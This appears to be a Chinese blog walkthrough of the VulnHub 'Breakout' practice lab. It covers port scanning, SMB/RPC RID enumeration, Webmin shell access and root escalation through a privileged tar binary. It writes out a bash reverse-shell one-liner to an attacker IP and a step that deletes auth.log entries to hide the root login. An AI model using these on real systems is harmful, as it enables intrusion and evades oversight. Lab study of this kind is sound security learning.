0%

[靶场]-BREAKOUT

本文聚焦于vulhub靶场BREAKOUT的分析与渗透测试

[靶场篇]vulhub靶场BREAKOUT的分析与渗透测试


一.基本信息

靶场名 LupinOne
来源 vulhub
下载链接 Empire: Breakout ~ VulnHub
难度 简单(某些知识点会困难)
网络 DHCP自动分配–本实验环境采用桥接模式
实验环境 攻击机:win11操作系统+wsl下的kali
测试机:VMware® Workstation 17 Pro里安装镜像
技术栈 smb、samba理解(重),rid枚举(重),rpc协议在域控的利用(重)
敏感信息文件的提权查找

二.测试流程

信息收集

测试环境准备好后,ifconfig之后获取本机ip已知网段后,主机发现采集测试机ip,采用工具快速粗略识别扫描主机和相关端口开放情况

1
rscan -a 192.168.111.0/24 -u 5000  

image-20251017090226915

拿到测试机ip,进行下一步namp常规扫描探测

1
2
3
4
nmap --min-rate 10000 -p- 192.168.0.158 -oA scan/ports #端口快速识别
nmap -sT -sV -sC -O -p80,139,445,10000,20000 192.168.0.158 -Pn -oA scan/details #细节端口识别
nmap -sU --top-ports 100 192.168.0.158 -oA scan/udp #udp端口识别
nmap --script=vuln -p80,139,445,10000,20000 192.168.0.158 -oA scan/vuln #常规nmap漏扫
namp探测结果1
namp探测结果1
namp探测结果2
nmap探测结果2
namp探测结果3
namp探测结果3
namp探测结果4
nmap探测结果4

[!NOTE]

对于常规的扫描工具,有可能不正确,有可能有漏扫,我建议多收集两遍,每个人的结果可能不一样,结合网络其他师傅的文章,在vuln这里能扫到一个cve-2006-3392,我起初是没有的,这一点不要太较真,不要对工具产生太大的依赖性

对于各端口的服务,通过谷歌等搜集,对于139和445端口主要是为支持基于 NetBIOS 和 SMB 协议的文件、打印机等网络资源共享,对于webmin服务官网给出的综述是,这表明它是一种用户量很大的系统管理平台,在相关的平台搜集信息后捕捉到如下几点:权限分级(提权-历史上有相关漏洞),有shell操作平台(反弹shell执行其他操作),大型安装量很高的系统,关注文件配置文件,一些大型应用的收录字典都会收录里面的可利用路径

Webmin is a web-based system administration tool for Unix-like servers, and services with about 1,000,000 yearly installations worldwide. Using it, it is possible to configure operating system internals, such as users, disk quotas, services or configuration files, as well as modify, and control open-source apps, such as BIND DNS Server, Apache HTTP Server, PHP, MySQL, and many more.

image-20251017113222976
系统介绍主页
image-20251017122325118
nmap探测结果2

综合所述我们拿到的信息:

[!IMPORTANT]

80端口是http服务apache默认服务页,目标主机的 139 和 445 TCP 端口开放,运行着 NetBIOS 会话服务,由 Samba 4 版本的 smbd 守护进程提供,支持类 Unix 系统与 Windows 系统的文件、打印机等资源共享。而10000和20000端口是webmin服务系统,主机脚本获取到 NetBIOS 名称为 BREAKOUT,SMB2 消息签名启用但非强制。

渗透测试


A阶段

首先测试任意文件泄露漏洞脚本是否能打通?

image-20251017111629009

1
2
searchsploit -m 1997 #漏洞编号1997
php 1997.php 192.168.0.158 10000 http /etc/passwd #依据漏洞脚本传参规则

没拿到什么信息,进而转为主要和web交互的初步探测,访问80端口,是一个很常见的apache页面服务,依据常理f12看一下源码看是否有隐藏服务,发现如下,明显是类ctf风格的加解密,是brainfuck加密

image-20251017111818573

“<!–
don’t worry no one will get here, it’s safe to share with you my access. Its encrypted :)

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.—-.<++++++++++.———–.>———–.++++.<<+.>-.——–.++++++++++++++++++++.<————.>>———.<<++++++.++++++.

–>”

1
cat en-info | hsbrainfuck | tee pass

解密得到类似于密码的凭据.2uqPEfj3D<P'a-3,由于22端口未侦测到且不是优先级选项最高,我们保留此密码做下一步的10000端口和20000端口的探测,已知密码凭据但是未知账户名是一个很头疼的地方,信息搜集后发现,usermin是普通用户登录窗口,webmin大致是管理员登录窗口,一般webmin系统的默认用户是admin或者root,多次尝试之后发现无效,而且在尝试usermin用usr登录也无果

namp探测结果1
webmin
image-20251017122325118
usermin

然而现在有的思路是一点是既然默认用户不行,而且他一般不会轻易把修改后的系统默认root用户的账号名放上来,这里考虑的就是网站的接管者的账户名就是usermin/webmin即为这个密码的账户(类似于www-data这样的账户名),然而我们怎么拿到呢,现在还有信息就是smb/samba服务开启,或许可以从这里拿出具体用户的名字,执行探测命令

1
2
3
smbmap -H 192.168.0.158 -r -u "" -p ""
#SMBMap 允许用户枚举整个域中的 samba 共享驱动器。 列出共享驱动器、驱动器权限、共享内容、上传/下载功能,文件名自动下载模式匹配,甚至执 远程命令。该工具的设计考虑到了笔测试,并且旨在简化对大型数据中潜在敏感数据的搜索网络。
enum4linux-ng 192.168.0.158 -U -R

image-20251017115332762

可以看到列出了一些存在的smb的管道路径,尝试枚举共享资源,但print$IPC$共享在空会话下都没有访问权限,-r参数也没有列出具体的文件内容,我们主要的目的还是去找账户,有一个工具称为enum4linux-ng,执行上面代码块第二行命令可以罗列出存在一个用户名为cyber,这里存在一个很大的知识坑,继续做攻击连在细节分析模块做详细介绍。

image-20251017121646248

B阶段

登录进去,发现了有一个shell,尝试一下常用命令,ls -liah等,拿到了第一个用户的flag为3mp!r3{You_Manage_To_Break_To_My_Secure_Access},面板如本模块尾图

系统主页
系统主页
shell界面
shell界面
1
2
3
4
5
#反弹shell
#攻击机
rlwrap -cAr nc -lvnp 900 #增加交互性
#测试机
bash -i >& /dev/tcp/192.168.0.111/900 0>&1

image-20251017122830305

C阶段

最终阶段提权阶段,先搜集一下可利用漏洞,发现CVE-2019-15107 和 CVE-2019-15642在影响范围内,但是对提权无太大帮助,都是命令执行相关的

image-20251017130427829

反弹shell尝试提权,sudo-l无效,cat /etc/crontab定时任务相关信息,只能去查找一些有特殊的操作权限的文件,如以下代码块命令

image-20251017130947525

1
2
3
4
5
find / -type f -perm -4000 2>/dev/null #找suid文件
find / -type f -executable 2>/dev/null #找可执行的文件
find / -writable -type f 2>/dev/null #找可写的文件
find / \( -path /usr -o -path /var/lib -o -path /etc \) -prune -o -executable -type f -print 2>/dev/null #干净筛选可写的文件路径
getcap -r / 2>/dev/null #寻找部分特权文件

多方验证下发现/home/cyber/tar此文件所属root用户且当前用户可执行,空命令./tar执行发现和常规的tar命令一样,那么这个命令可以读全局文件image-20251017131847769

1
2
3
4
5
#找一下敏感信息文件,匹配逻辑适度调整
find / \( -path /proc -o -path /sys -o -path /var/lib -o -path /usr \) -prune -o -type f \( -name "*.bak" -o -name "*pass*" \) -print 2>/dev/null
#用tar解压缩形式读取,进入./var/backups的文件夹里面看bak文件
./tar -cf ara.tar /var/backups/.old_pass.bak
./tar -xf ara.tar

image-20251017132329322

image-20251017132434214

Ts&4&YurgtRX(=~h又是一个类密码形式的,看一下系统里哪些有账号,筛选“grep | sh”,发现只能是root的

su提权,成功得到答案3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation},如下图

[!tip]

需要提升一下交互性

1
2
export TERM=xterm
python3 -c "import pty;pty.spawn('/bin/bash')"

痕迹清理

1
2
3
4
history -c
sed -i '/cyber.*su.*root/d' /var/log/auth.log
rm -f /home/cyber/ara.rar
rm -rf /home/cyber/var

image-20251017132601866

三.细节分析

细致拆解一下获取用户账户名那一块,虽说提到了enum4linux-ng但是其大部分是自动化的脚本执行,从原子级拆解这个问题,我们需先要经历从概念到方法的过程

基本知识


细则表格
rid 枚举 RID枚举是一种利用Windows操作系统中的RID(Relative Identifier,相对标识符)来枚举用户和组账户的技术。大多是基于 RPC 协议的基础信息搜集手段,通过\pipe\samr\pipe\lsarpc两个管道接口,利用 Samba 对 RPC 协议的兼容能力递增 RID 值拼接用户清单,其探测易受防火墙限制,且访问这两个接口无需高权限。
rpc协议 编辑分享RPC协议的主要目的是做到不同服务间调用方法像同一服务间调用本地方法一样,多见与135端口
posix POSIX标准,为了Linux系统或类unix系统的可移植性
uid/rid 在类 Unix 操作系统(如 Linux)中分别用于识别用户和组的数字标识符
sid 解释一下什么是RPC协议?SID 用于唯一标识安全主体或安全组
ms-rpc MS-RPC,即 Microsoft 远程过程调用,是允许一个程序向另一台计算机上的另一个程序请求服务的协议,类似于进行本地函数调用。它是 Microsoft 对 DCE/RPC 标准的实现,是 Windows 的基础,支持许多系统服务的进程间通信,包括管理文件、服务和网络设置。MS-RPC 可以在各种传输协议(例如 TCP)上运行,并且对许多核心 Windows 功能至关重要
操作号
细则
  • 混合win域环境和linux环境中,在 SMB 协议中,用户、组和机器由它们的安全标识符 (SID) 表示。

    在 POSIX 系统上,Samba 进程需要在相应的 POSIX 用户身份下运行,并带有补充 POSIX 组,以允许访问这些用户和组拥有的文件。Samba 支持多种方式将 SID 映射到 POSIX 用户和组。 该配置由idmap config DOMAIN : OPTION选项驱动,该选项允许单独为每个域指定身份映射 (idmap) 选项,身份映射模块实现了将 SID 映射到 POSIX 用户和组身份的不同策略。

  • RPC(远程过程调用)是一种让程序能像调用本地函数一样调用远程计算机上函数的协议,核心是简化跨网络的进程通信。

    NDR(网络数据表示)是 RPC 中用于数据编码的标准,解决不同系统(如 Windows 和 Linux)在数据格式(如字节序、数据类型长度)上的差异,确保远程调用时数据能正确传输和解析。

    简单说:RPC 负责远程调用的 “流程调度”,NDR 负责调用中 “数据的统一包装与解析”,二者配合实现跨系统的高效通信。

  • SMB(Server Message Block,服务器消息块):是一种网络通信协议,核心用于不同设备(如 Windows 与 Windows、Windows 与 Linux)之间共享文件、打印机、串口等资源,常见于局域网环境,默认通过 445 端口(或 139 端口)传输数据。

  • Samba:是运行在类 Unix 系统(如 Linux、macOS)上的开源软件,核心功能是实现 SMB 协议,让类 Unix 系统能与 Windows 系统无缝交互(比如 Linux 通过 Samba 共享文件,Windows 可直接访问),同时也支持作为域控制器、提供打印共享等扩展功能。

关联知识


  • rid枚举常用的工具

    工具组 样例工具
    impacket系列组工具 impacket-lookupsid,impacket-lookupsid
    rpcclient rpcclient
    samba/smb工具组 smbclient
    nxc nxc
    nmap组 nmap —script-help smb-enum-users
    msf组 smb_lookupsid
    操作号 在 RPC(远程过程调用)协议中,操作号(Opnum,Operation Number) 是一个整数,用于唯一标识远程服务中可调用的具体函数或方法。
  • 攻击面

    \\\pipe\samr\\\pipe\lsarpc 是 Windows 系统中基于 命名管道(Named Pipe) 的 RPC 接口,主要用于处理安全账号和域信息相关的远程调用,是域环境中信息交互的核心通道:

    • \\\pipe\samr

      关联本地安全账号管理器(SAM),用于远程查询、管理用户、组、计算机等安全账号的信息(如 RID、用户名、权限等),是 RID 枚举、账号信息探测的关键接口。

    • \\\pipe\lsarpc

      关联本地安全机构(LSA),用于处理域信任关系、安全策略、账号认证等信息交互,可用于获取域名称、域 SID、信任域列表等核心域信息。

    两者均通过 RPC 协议通信,常被用于网络信息搜集(如枚举域内账号、探测域结构),且低权限用户(甚至空会话,取决于配置)可能对其有基础访问权限。

    实操


    1
    2
    smbclient -L 192.168.0.158 -m SMB3 -N -U ""
    #smbclient 主要针对 SMB 共享资源(如print$、IPC$)进行枚举,关注的是 “哪些共享可访问”;

    image-20251017160126096

    nmap已经探测smbd4,用工具匿名访问,目标主机可能禁用了 SMB1 协议,接下来三个思路:rpc访问ipc管道,smbd4的漏洞,访问共享,综合考量筛选选第一个。

    [!NOTE]

    匿名访问没有必要ls,验证到可以成功连接,接受匿名会话,本质上并不承受文件系统,仅仅只是rpc协议的走管道

    image-20251017161055188

    image-20251017161110471

用工具组尝试一下

1
2
3
4
5
6
7
8
#系列组lookupsid工具
impacket-lookupsid ''@192.168.0.158 -no-pass

#系列组rpcmap工具主要是为了-->明确管道到底是否可用,探测哪些接口可用rpc协议,哪些uid可用,针对 RPC 命名管道(如\pipe\samr)的操作码(opnum)进行探测,关注的是 “管道支持哪些 RPC 方法”;
#枚举操作数哪些可以使用,无凭据认证较低,高认证可能失败
impacket-rpcmap -brute-opnums -opnum-max 64 -auth-level 1 'ncacn_np:192.168.0.158[\pipe\lsarpc]'

impacket-rpcmap -brute-opnums -opnum-max 64 -auth-level 1 'ncacn_np:192.168.0.158[\pipe\samr]'

[!NOTE]

目前rpc方法不可用,rpc协议可列出共享可连接可存在就是方法用不了,已经绑定了管道接口,可换工具

image-20251017161250515

[!NOTE]

impacket-rpcmap的lsarpc模块

第一部分(MS-LSAT本地安全机构传输协议)里面error是失败,rpc_x_bad这些是传参格式不对因为我们是传的垃圾payload

image-20251017162018746

第二部分(目录服务安装协议)–不太关注此协议

image-20251017162114733

第三部分(远程管理协议)rpce模块很少做攻击面-不太关注此协议

image-20251017162033389

[!NOTE]

impacket-rpcmap的samr模块

image-20251017164619149

image-20251017162322644

lsarpc很多不可用,samr却很多,枚举了两个域,域能看到,域内用户看不到,换工具,使用nxc查看一下

1
2
nxc smb 192.168.0.158 -u guset -p '' --rid-brute
#nxc 侧重 SMB 服务的用户认证和 RID 枚举,关注的是 “账号权限及域内用户信息”。

[!NOTE]

支持匿名访问,允许guest,debug看一下此工具最后走的是lsarpc,rpc方法仍然缺失,是和lsarpc操作数少的问题有关

image-20251017162448206image-20251017162512618

查询类方式走不通,用rpcclient尝试一下猜解爆破方式,进入命令行

1
2
3
4
5
6
7
8
9
10
rpcclient -U '' -N 192.168.0.158
#指令集
lookupdomain BREAKOUT
#查看域Id
lookupsids S-1-5-32-544
#查看域的管理员
lookupnames root
#查看root用户名所在“域”id,这个用户名是必定存在的,因此可以映射cyber的“域”id
lookupsides S-1-22-1-1000
#按照posix惯例在许多现代 Linux 发行版(如 Ubuntu、CentOS 7 及之后版本等)中,默认从 1000 开始分配给普通的活跃用户

[!NOTE]

rpcclient实验组图

image-20251017163802942image-20251017163810018image-20251017163817174

这里1000比较碰巧,为了减少痕迹,可利用rpcclient -U ‘’ -N ip -c “lookupsids S-1-22-1-1000”这样的命令,碰撞可参照如下脚本(码999也有一个用户),在实际的场景中用rpcclient会话为了隐蔽痕迹,做阶段划分适当隐藏自己,伪装管理员该做的,当然后续还有上文提到的enum4linux-ng工具

1
2
3
4
5
6
import os
for num in range(900, 1500):
cmd = f'rpcclient -U "" -N 192.168.0.158 -c "lookupsids S-1-22-1-{num}" 2>/dev/null'
out = os.popen(cmd).read().strip()
if out:
print(f"{num}: {out}")

四、学习分析

  • 某个指令集不会的时候或者没有结果的时候,多用-h适当的搭配和尝试,这是至关重要的
  • 避免工具依赖

声明:

本文只应用与信息安全的交流与学习,此为作者学习记录,请勿利用文章相关技术从事非法活动,如因此产生任何的不良后果与文章作者无关,本文仅供学习参考。

坚持原创,如鼓励可以赏一杯甜水🥤